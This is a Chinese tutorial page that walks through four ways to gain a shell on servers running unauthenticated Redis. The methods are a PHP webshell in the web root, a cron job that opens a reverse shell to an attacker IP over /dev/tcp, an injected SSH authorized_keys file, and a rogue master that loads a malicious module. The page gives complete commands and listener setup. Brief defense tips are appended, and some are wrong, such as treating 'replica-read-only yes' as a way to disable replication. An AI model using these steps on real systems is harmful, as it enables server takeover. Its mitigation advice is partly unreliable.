当前位置: 首页 > ai >正文

Redis四种GetShell方式完整教程

Redis作为高性能内存数据库,若未正确配置认证和访问控制,可能被攻击者利用实现远程代码执行(GetShell)。本文详细讲解四种常见的Redis GetShell方式,涵盖原理、操作步骤及防御建议。

方式一:直接写入Shell脚本​

​原理​

通过Redis的CONFIG SET命令修改数据库存储路径和文件名,将恶意脚本写入Web目录,利用Web服务解析执行。

​操作步骤​

​1. 环境准备​
  • 目标Redis服务未授权访问(绑定0.0.0.0:6379且无密码)。
  • 已知目标Web服务路径(如/var/www/html)。
​2. 连接Redis​

使用redis-cli连接目标Redis:

redis-cli -h 目标IP -p 6379
​3. 修改Redis配置​

通过CONFIG SET命令设置数据库存储路径和文件名:

CONFIG SET dir /var/www/html  # 修改存储路径为Web目录
CONFIG SET dbfilename shell.php  # 设置文件名为shell.php
​4. 写入恶意脚本​

使用SET命令写入PHP WebShell内容:

SET shell "<?php system($_GET['cmd']);?>"
​5. 保存配置​

执行SAVE命令将数据持久化到磁盘:

SAVE

此时/var/www/html/shell.php文件已生成,可通过浏览器访问http://目标IP/shell.php?cmd=whoami验证。

​防御建议​

  • 限制Redis访问IP(bind 127.0.0.1)。
  • 设置强密码(requirepass)。
  • 禁止Redis写入系统关键目录(如/var/www)。

​方式二:定时任务写入反弹Shell​

​原理​

通过Redis的CONFIG SET修改dir/var/spool/cron/(Linux定时任务目录),写入反弹Shell的定时任务,触发后连接攻击机。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 目标系统为Linux,且Redis进程有权限写入/var/spool/cron/
​2. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /var/spool/cron/  # 修改存储路径为cron目录
CONFIG SET dbfilename root      # 文件名为root(针对root用户的cron)
​3. 写入反弹Shell命令​

反弹Shell到攻击机(假设攻击机IP为192.168.1.100,端口4444):

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

​注意​​:

  • \n\n用于避免破坏cron文件格式。
  • 定时任务每分钟执行一次,连接攻击机。
​4. 保存配置​
SAVE

攻击机监听端口:

nc -lvvp 4444

若连接成功,可执行任意命令(如whoami)。

​防御建议​

  • 限制Redis对系统目录的写入权限。
  • 监控/var/spool/cron/目录的异常修改。

​方式三:写SSH公钥登录服务器​

​原理​

通过Redis写入~/.ssh/authorized_keys文件,将攻击者的SSH公钥添加到目标服务器,实现免密登录。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 目标服务器开启SSH服务且Redis进程有权限写入/root/.ssh/(或当前用户目录)。
​2. 生成SSH密钥对​

在攻击机上生成密钥对(若已有可跳过):

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub
​3. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /root/.ssh/  # 修改存储路径为.ssh目录
CONFIG SET dbfilename authorized_keys  # 文件名为authorized_keys
​4. 写入公钥​

将公钥内容写入Redis(需替换实际公钥):

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻击机公钥内容..."
​5. 保存配置​
SAVE

攻击机直接SSH登录目标服务器:

ssh root@目标IP

无需密码即可登录。

​防御建议​

  • 限制Redis对/root/.ssh/目录的访问。
  • 禁用Redis的SAVE命令(通过rename-command SAVE "")。

​方式四:Redis主从复制GetShell​

​原理​

利用Redis主从复制机制,诱骗目标Redis作为从节点,加载攻击者构造的恶意RDB文件,在加载过程中执行任意代码。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 攻击机搭建恶意Redis服务(需编译支持动态模块的Redis版本)。
​2. 攻击机生成恶意RDB文件​
  • 使用redis-rogue-server工具(需Python环境)生成包含恶意模块的RDB文件:
    git clone https://github.com/n0b0dyCN/redis-rogue-server.git
    cd redis-rogue-server
    pip3 install -r requirements.txt
    python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP
    工具会自动生成恶意RDB文件并启动监听。
​3. 配置目标Redis为主从复制​

在攻击机上执行:

redis-cli -h 目标IP -p 6379
SLAVEOF 攻击机IP 6379  # 将目标Redis设为从节点,连接攻击机
CONFIG SET masterauth ""  # 若主节点有密码需配置(此处无密码)

目标Redis会尝试从攻击机拉取RDB文件并加载,触发恶意代码执行。

​4. 获取反弹Shell​

攻击机监听端口(如4444):

nc -lvvp 4444

目标Redis加载恶意模块后,攻击机将收到反弹Shell。

​防御建议​

  • 禁用主从复制功能(replica-read-only yes)。
  • 升级Redis至最新版本(修复已知漏洞)。

​总结与防护措施​

​方式​​关键利用点​​防御方法​
直接写入Shell修改dirdbfilename限制写入目录、设置密码、禁用高危命令
定时任务反弹Shell写入/var/spool/cron/监控cron目录、限制Redis权限
SSH公钥登录写入~/.ssh/authorized_keys限制.ssh目录访问、禁用Redis写入系统文件
主从复制GetShell加载恶意RDB文件禁用主从复制、升级Redis版本

​通用防护建议​​:

  1. ​最小化暴露​​:禁止Redis绑定公网IP,使用防火墙限制访问源。
  2. ​强认证​​:设置复杂密码(requirepass)。
  3. ​定期审计​​:检查Redis配置和系统关键目录(如/var/www/root/.ssh/)。
  4. ​日志监控​​:记录Redis操作日志,设置异常告警。

通过本文的详细分析,读者可深入理解Redis GetShell的原理及防御方法,提升系统安全性。

http://www.xdnf.cn/news/16403.html

相关文章:

  • 【WRF-Chem第二期】WRF-Chem有关 namelist 详解
  • 1.DRF 环境安装与配置
  • 零基础学习性能测试第九章:全链路追踪-系统中间件节点监控
  • LeetCode 刷题【18. 四数之和】
  • 计算机网络编程-Socket通信以及实战
  • 企业级JWT验证最佳方案:StringUtils.hasText()
  • 使用Ettus USRP X440对雷达和EW系统进行原型验证
  • 分布式IO选型指南:2025年分布式无线远程IO品牌及采集控制方案详解
  • Python动态规划:从基础到高阶优化的全面指南(2)
  • socketpair函数详解
  • Qt小组件 - 8 图片浏览器
  • go‑cdc‑chunkers:用 CDC 实现智能分块 强力去重
  • SpringBoot轻松集成豆包AI
  • 精简 RT-Thread 工程并查找占用空间大的模块
  • 中国汽车能源消耗量(2010-2024年)
  • java里List链式编程
  • 【智慧物联网平台】安装部署教程——仙盟创梦IDE
  • Jenkins流水线部署+webhook2.0
  • 四、计算机组成原理——第7章:输入/输出系统
  • 命令执行漏洞
  • EAP(基于事件的异步编程模式)
  • 思途SQL学习 0728
  • SIM2REAL记录
  • 初识 docker [下] 项目部署
  • 亚马逊地址关联暴雷:新算法下的账号安全保卫战
  • 通过具有一致性嵌入的大语言模型(LMMs)实现端到端乳腺癌放射治疗计划制定|文献速递-医学影像算法文献分享
  • 反欺诈系统:Oracle 到 ES 迁移实战
  • 形参表不匹配(BUG)
  • R语言常用扩展包
  • 【自动化运维神器Ansible】Ansible常用模块之unarchive模块详解